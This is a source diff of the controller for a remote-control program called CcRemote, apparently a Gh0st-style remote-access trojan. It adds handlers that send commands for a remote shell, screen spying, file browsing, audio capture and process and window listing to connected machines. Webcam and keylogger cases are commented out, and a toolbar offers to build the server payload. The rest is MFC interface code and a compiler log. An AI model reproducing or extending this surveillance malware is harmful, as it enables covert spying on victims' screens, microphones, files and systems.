ON_MESSAGE(WM_ADDTOLIST,OnAddToList)
|
||||
ON_MESSAGE(WM_OPENSHELLDIALOG, OnOpenShellDialog)
|
||||
ON_MESSAGE(WM_OPENPSLISTDIALOG, OnOpenSystemDialog)
|
||||
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
|
||||
ON_MESSAGE(WM_OPENMANAGERDIALOG, OnOpenManagerDialog)
|
||||
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
|
||||
|
||||
|
||||
//-------------系统-------------
|
||||
ON_WM_SYSCOMMAND()
|
||||
@@ -104,6 +109,8 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
|
||||
ON_COMMAND(IDM_MAIN_BUILD, &CCcRemoteDlg::OnMainBuild)
|
||||
ON_COMMAND(IDM_MAIN_ABOUT, &CCcRemoteDlg::OnMainAbout)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_ERASEBKGND()
|
||||
ON_WM_CTLCOLOR()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -289,6 +296,8 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
if (SIZE_MINIMIZED == nType)//当窗口最小化避免大小为0造成崩溃直接返回
|
||||
return;
|
||||
|
||||
|
||||
|
||||
if (m_CList_Online.m_hWnd != NULL)
|
||||
{
|
||||
CRect rc;
|
||||
@@ -305,6 +314,12 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
int lenth = dd; //转换为int 类型
|
||||
m_CList_Online.SetColumnWidth(i, (lenth)); //设置当前的宽度
|
||||
}
|
||||
//TCHAR szBuffer[_MAX_PATH];
|
||||
//VERIFY(::GetModuleFileName(AfxGetInstanceHandle(), szBuffer, _MAX_PATH));
|
||||
//CString sPath = (CString)szBuffer; sPath = sPath.Left(sPath.ReverseFind('\\') + 1);
|
||||
CString sPath = "F:\\myapp\\CcRemote\\CcRemote\\CcRemote\\res\\background_list_online.bmp";
|
||||
m_CList_Online.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义:CListCtrl m_controllist1;
|
||||
sPath.ReleaseBuffer();
|
||||
}
|
||||
if (m_CList_Message.m_hWnd != NULL)
|
||||
{
|
||||
@@ -322,6 +337,9 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
int lenth = dd; //转换为int 类型
|
||||
m_CList_Message.SetColumnWidth(i, (lenth)); //设置当前的宽度
|
||||
}
|
||||
CString sPath = "F:\\myapp\\CcRemote\\CcRemote\\CcRemote\\res\\background_list_online.bmp";
|
||||
m_CList_Message.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义:CListCtrl m_controllist1;
|
||||
sPath.ReleaseBuffer();
|
||||
}
|
||||
|
||||
if (m_wndStatusBar.m_hWnd != NULL) { //当对话框大小改变时 状态条大小也随之改变
|
||||
@@ -355,6 +373,7 @@ int CCcRemoteDlg::InitMyMenu()
|
||||
::DrawMenuBar(this->GetSafeHwnd()); //显示菜单
|
||||
|
||||
popup.LoadMenu(IDR_MENU_ONLINE);//载入菜单资源
|
||||
//popup.GetSubMenu(0)->SetMenuItemBitmaps();
|
||||
::MENUINFO lpcmi;
|
||||
m_brush.CreateSolidBrush(RGB(236, 153, 101));//颜色
|
||||
memset(&lpcmi, 0, sizeof(::LPCMENUINFO));
|
||||
@@ -369,6 +388,16 @@ int CCcRemoteDlg::InitMyMenu()
|
||||
|
||||
int CCcRemoteDlg::InitList()
|
||||
{
|
||||
|
||||
// CLR_NONE没有背景色。图像是透明的。
|
||||
m_CList_Online.SetTextBkColor(CLR_NONE);
|
||||
m_CList_Online.SetBkColor(CLR_NONE);
|
||||
m_CList_Online.SetTextColor(RGB(255, 0, 0));
|
||||
|
||||
m_CList_Message.SetTextBkColor(CLR_NONE);
|
||||
m_CList_Message.SetBkColor(CLR_NONE);
|
||||
//m_CList_Message.SetTextColor(RGB(255, 0, 0));
|
||||
|
||||
//设置list可选中
|
||||
m_CList_Online.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||
m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||
@@ -435,12 +464,13 @@ void CCcRemoteDlg::ShowMessage(bool bIsOK, CString strMsg)
|
||||
m_OnlineCount = (m_OnlineCount <= 0 ? 0 : m_OnlineCount); //防止iCount 有-1的情况
|
||||
strStatusMsg.Format("已连接: %d", m_OnlineCount);
|
||||
m_wndStatusBar.SetPaneText(0, strStatusMsg); //在状态条上显示文字
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::Test()
|
||||
{
|
||||
|
||||
ShowMessage(true, "软件初始化成功...");
|
||||
//AddList("192.168.0.1", "本机局域网", "CHANG", "Windows7", "2.2GHZ", "有", "123232");
|
||||
//AddList("192.168.10.1", "本机局域网", "WANG", "Windows10", "2.2GHZ", "无", "111111");
|
||||
@@ -480,14 +510,17 @@ void CCcRemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
void CCcRemoteDlg::OnOnlineAudio()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
MessageBox("声音");
|
||||
// MessageBox("声音");
|
||||
BYTE bToken = COMMAND_AUDIO; //向服务端发送命令
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnOnlineCmd()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
MessageBox("CMD");
|
||||
// MessageBox("CMD");
|
||||
BYTE bToken = COMMAND_SHELL;
|
||||
SendSelectCommand(&bToken,sizeof(BYTE));
|
||||
}
|
||||
@@ -496,18 +529,24 @@ void CCcRemoteDlg::OnOnlineCmd()
|
||||
void CCcRemoteDlg::OnOnlineDesktop()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_SCREEN_SPY; //向服务端发送COMMAND_SCREEN_SPY CKernelManager::OnReceive搜之
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnOnlineFile()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_LIST_DRIVE; //在服务端中搜索COMMAND_LIST_DRIVE
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnOnlineProcess()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_SYSTEM; //赋值一个宏 然后发送到服务端,到服务端搜索COMMAND_SYSTEM
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
|
||||
@@ -532,6 +571,8 @@ void CCcRemoteDlg::OnOnlineVideo()
|
||||
void CCcRemoteDlg::OnOnlineWindow()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_WSLIST;
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
|
||||
@@ -602,6 +643,7 @@ void CCcRemoteDlg::InitStatusBar()
|
||||
//初始化工具条按钮控件
|
||||
void CCcRemoteDlg::InitToolBar()
|
||||
{
|
||||
|
||||
//创建工具条
|
||||
if (!m_ToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP
|
||||
| CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||
|
||||
@@ -640,6 +682,7 @@ void CCcRemoteDlg::InitToolBar()
|
||||
m_ToolBar.SetButtonText(10, "参数设置");
|
||||
m_ToolBar.SetButtonText(11, "生成服务端");
|
||||
m_ToolBar.SetButtonText(12, "帮助");
|
||||
|
||||
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0);
|
||||
}
|
||||
|
||||
@@ -685,6 +728,8 @@ void CCcRemoteDlg::OnClose()
|
||||
{
|
||||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||
Shell_NotifyIcon(NIM_DELETE, &nid); //销毁图标
|
||||
m_CList_Message.SetBkImage("relese", TRUE);
|
||||
m_CList_Online.SetBkImage("relese", TRUE);
|
||||
CDialogEx::OnClose();
|
||||
}
|
||||
|
||||
@@ -742,24 +787,24 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
||||
{
|
||||
switch (pContext->m_Dialog[0])
|
||||
{
|
||||
//case FILEMANAGER_DLG:
|
||||
// ((CFileManagerDlg *)dlg)->OnReceiveComplete();
|
||||
// break;
|
||||
//case SCREENSPY_DLG:
|
||||
// ((CScreenSpyDlg *)dlg)->OnReceiveComplete();
|
||||
// break;
|
||||
case FILEMANAGER_DLG:
|
||||
((CFileManagerDlg *)dlg)->OnReceiveComplete();
|
||||
break;
|
||||
case SCREENSPY_DLG:
|
||||
((CScreenSpyDlg *)dlg)->OnReceiveComplete();
|
||||
break;
|
||||
//case WEBCAM_DLG:
|
||||
// ((CWebCamDlg *)dlg)->OnReceiveComplete();
|
||||
// break;
|
||||
//case AUDIO_DLG:
|
||||
// ((CAudioDlg *)dlg)->OnReceiveComplete();
|
||||
// break;
|
||||
case AUDIO_DLG:
|
||||
((CAudioDlg *)dlg)->OnReceiveComplete();
|
||||
break;
|
||||
//case KEYBOARD_DLG:
|
||||
// ((CKeyBoardDlg *)dlg)->OnReceiveComplete();
|
||||
// break;
|
||||
//case SYSTEM_DLG:
|
||||
// ((CSystemDlg *)dlg)->OnReceiveComplete();
|
||||
// break;
|
||||
case SYSTEM_DLG:
|
||||
((CSystemDlg *)dlg)->OnReceiveComplete();
|
||||
break;
|
||||
case SHELL_DLG:
|
||||
((CShellDlg *)dlg)->OnReceiveComplete();
|
||||
break;
|
||||
@@ -800,26 +845,29 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
||||
}
|
||||
|
||||
break;
|
||||
/*case TOKEN_DRIVE_LIST: // 驱动器列表
|
||||
/*
|
||||
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_KEYBOARD_START:
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
|
||||
break;*/
|
||||
case TOKEN_AUDIO_START: // 语音
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_DRIVE_LIST: // 驱动器列表
|
||||
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事,太菜
|
||||
g_pConnectView->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_BITMAPINFO: //
|
||||
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事
|
||||
g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
|
||||
g_pConnectView->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_AUDIO_START: // 语音
|
||||
g_pConnectView->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_KEYBOARD_START:
|
||||
g_pConnectView->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
//进程遍历和窗口遍历公用的一个窗口类,在构造判断判断下类型来显示不同的数据
|
||||
case TOKEN_WSLIST:
|
||||
case TOKEN_PSLIST:
|
||||
g_pConnectView->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext);
|
||||
break;*/
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_SHELL_START:
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
@@ -962,11 +1010,129 @@ LRESULT CCcRemoteDlg::OnOpenShellDialog(WPARAM wParam, LPARAM lParam)
|
||||
//这里定义远程终端的对话框,转到远程终端的CShellDlg类的定义 先查看对话框界面后转到OnInitDialog
|
||||
CShellDlg *dlg = new CShellDlg(this, m_iocpServer, pContext);
|
||||
|
||||
// 设置父窗口为卓面
|
||||
// 设置父窗口为桌面
|
||||
dlg->Create(IDD_SHELL, GetDesktopWindow());
|
||||
dlg->ShowWindow(SW_SHOW);
|
||||
|
||||
pContext->m_Dialog[0] = SHELL_DLG;
|
||||
pContext->m_Dialog[1] = (int)dlg;
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
//打开进程管理窗口
|
||||
LRESULT CCcRemoteDlg::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
CSystemDlg *dlg = new CSystemDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
|
||||
|
||||
// 设置父窗口为卓面
|
||||
dlg->Create(IDD_SYSTEM, GetDesktopWindow()); //创建对话框
|
||||
dlg->ShowWindow(SW_SHOW); //显示对话框
|
||||
|
||||
pContext->m_Dialog[0] = SYSTEM_DLG; //这个值用做服务端再次发送数据时的标识
|
||||
pContext->m_Dialog[1] = (int)dlg;
|
||||
//先看一下这个对话框的界面再看这个对话框类的构造函数
|
||||
return 0;
|
||||
}
|
||||
|
||||
//自定义消息 打开屏幕监控窗口
|
||||
LRESULT CCcRemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
|
||||
CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);
|
||||
// 设置父窗口为桌面
|
||||
dlg->Create(IDD_SCREENSPY, GetDesktopWindow());
|
||||
dlg->ShowWindow(SW_SHOW);
|
||||
|
||||
pContext->m_Dialog[0] = SCREENSPY_DLG;
|
||||
pContext->m_Dialog[1] = (int)dlg;
|
||||
return 0;
|
||||
}
|
||||
|
||||
//打开文件管理窗口
|
||||
LRESULT CCcRemoteDlg::OnOpenManagerDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
|
||||
//转到CFileManagerDlg 构造函数
|
||||
CFileManagerDlg *dlg = new CFileManagerDlg(this, m_iocpServer, pContext);
|
||||
// 设置父窗口为桌面
|
||||
dlg->Create(IDD_FILE, GetDesktopWindow());
|
||||
dlg->ShowWindow(SW_SHOW);
|
||||
|
||||
pContext->m_Dialog[0] = FILEMANAGER_DLG;
|
||||
pContext->m_Dialog[1] = (int)dlg;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
//音频管理窗口
|
||||
LRESULT CCcRemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
CAudioDlg *dlg = new CAudioDlg(this, m_iocpServer, pContext);
|
||||
// 设置父窗口为卓面
|
||||
dlg->Create(IDD_AUDIO, GetDesktopWindow());
|
||||
dlg->ShowWindow(SW_SHOW);
|
||||
pContext->m_Dialog[0] = AUDIO_DLG;
|
||||
pContext->m_Dialog[1] = (int)dlg;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
//绘制背景图片
|
||||
BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
|
||||
{
|
||||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||
//CDC MemDC; MemDC.CreateCompatibleDC(pDC);
|
||||
//CBitmap Cbp;
|
||||
//Cbp.LoadBitmap(IDB_BACKGROUND_CCREMOTE);
|
||||
//MemDC.SelectObject(&Cbp);
|
||||
//BITMAP Bp;
|
||||
//Cbp.GetBitmap(&Bp);
|
||||
//CRect rect;
|
||||
//GetClientRect(&rect);
|
||||
//pDC->StretchBlt(0, 0, rect.Width(), rect.Height(), &MemDC, 0, 0, Bp.bmWidth, Bp.bmHeight, SRCCOPY);
|
||||
//MemDC.DeleteDC();
|
||||
|
||||
return TRUE;
|
||||
return CDialogEx::OnEraseBkgnd(pDC);
|
||||
}
|
||||
|
||||
|
||||
HBRUSH CCcRemoteDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||||
{
|
||||
HBRUSH hbr = CDialogEx::OnCtlColor(pDC, pWnd, nCtlColor);
|
||||
|
||||
// TODO: 在此更改 DC 的任何特性
|
||||
//switch (pWnd->GetDlgCtrlID()) {
|
||||
////case IDC_STATIC_NAME:
|
||||
////case IDC_STATIC_ID:
|
||||
////case IDC_STATIC_PW:
|
||||
//// pDC->SetBkMode(TRANSPARENT);
|
||||
//// pDC->SetTextColor(RGB(0, 255, 0));
|
||||
//// hbr = (HBRUSH)GetStockObject(NULL_BRUSH);//空画刷,不加此句会有阴影
|
||||
//// break;
|
||||
//case IDR_TOOLBAR_MAIN:
|
||||
// CWnd* pd;
|
||||
// CRect rc;
|
||||
// if (pWnd->GetDlgCtrlID() == IDR_TOOLBAR_MAIN)
|
||||
// pd = (CWnd*)GetDlgItem(IDR_TOOLBAR_MAIN);
|
||||
// pd->GetClientRect(&rc);
|
||||
// ScreenToClient(&rc);
|
||||
// pDC->SetBkMode(TRANSPARENT);
|
||||
// pDC->SetTextColor(RGB(255, 0, 0));
|
||||
// CBitmap bmp;
|
||||
// bmp.LoadBitmap(IDB_BACKGROUND_CCREMOTE);
|
||||
// CBrush brush(&bmp);
|
||||
// CBrush* pOldBrush = (CBrush*)pDC->SelectObject(&brush);
|
||||
// pDC->FillRect(&rc, &brush);
|
||||
// hbr = (HBRUSH)brush;
|
||||
// break;
|
||||
//}
|
||||
|
||||
// TODO: 如果默认的不是所需画笔,则返回另一个画笔
|
||||
return hbr;
|
||||
}
|
||||
|
@@ -6,6 +6,10 @@
|
||||
#include "include/IOCPServer.h"
|
||||
#include "SEU_QQwry.h"
|
||||
#include "CShellDlg.h"
|
||||
#include "CSystemDlg.h"
|
||||
#include "CScreenSpyDlg.h"
|
||||
#include "CFileManagerDlg.h"
|
||||
#include "CAudioDlg.h"
|
||||
#pragma once
|
||||
|
||||
|
||||
@@ -45,7 +49,7 @@ public:
|
||||
|
||||
private:
|
||||
//--------------变量及常量----------------
|
||||
SEU_QQwry *m_QQwry;
|
||||
SEU_QQwry *m_QQwry; //识别IP区域
|
||||
int m_OnlineCount;//上线计数
|
||||
CBrush m_brush;//绘色函数
|
||||
CMenu popup;//LIST菜单变量
|
||||
@@ -97,6 +101,10 @@ public:
|
||||
afx_msg void OnIconNotify(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnAddToList(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenShellDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenSystemDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenManagerDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenAudioDialog(WPARAM, LPARAM);
|
||||
|
||||
//-------------系统消息处理-------------
|
||||
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
@@ -117,4 +125,7 @@ public:
|
||||
afx_msg void OnClose();
|
||||
private:
|
||||
void SendSelectCommand(PBYTE pData, UINT nSize);
|
||||
public:
|
||||
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
|
||||
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
|
||||
};
|
||||
|
@@ -1,23 +1,2 @@
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.pch
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.pdb
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.idb
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\pch.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cpuusage.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\iocpserver.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\buffer.obj
|
||||
g:\ccremote\ccremote\ccremote\debug\ccremote.ilk
|
||||
g:\ccremote\ccremote\ccremote\debug\ccremote.exe
|
||||
g:\ccremote\ccremote\ccremote\debug\ccremote.pdb
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.res
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.res
|
||||
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
||||
|
@@ -1,18 +1,74 @@
|
||||
pch.cpp
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
pch.cpp
|
||||
Audio.cpp
|
||||
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
|
||||
CAudioDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CcRemote.cpp
|
||||
CcRemoteDlg.cpp
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(218): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(235): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(171): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(314): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(337): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(833): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(915): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CFileManagerDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: “VolName”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: “FileSystem”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”,可能丢失数据
|
||||
FileTransferModeDlg.cpp
|
||||
CScreenSpyDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||
CSettingDlg.cpp
|
||||
CShellDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
|
||||
CSystemDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CpuUsage.cpp
|
||||
IniFile.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
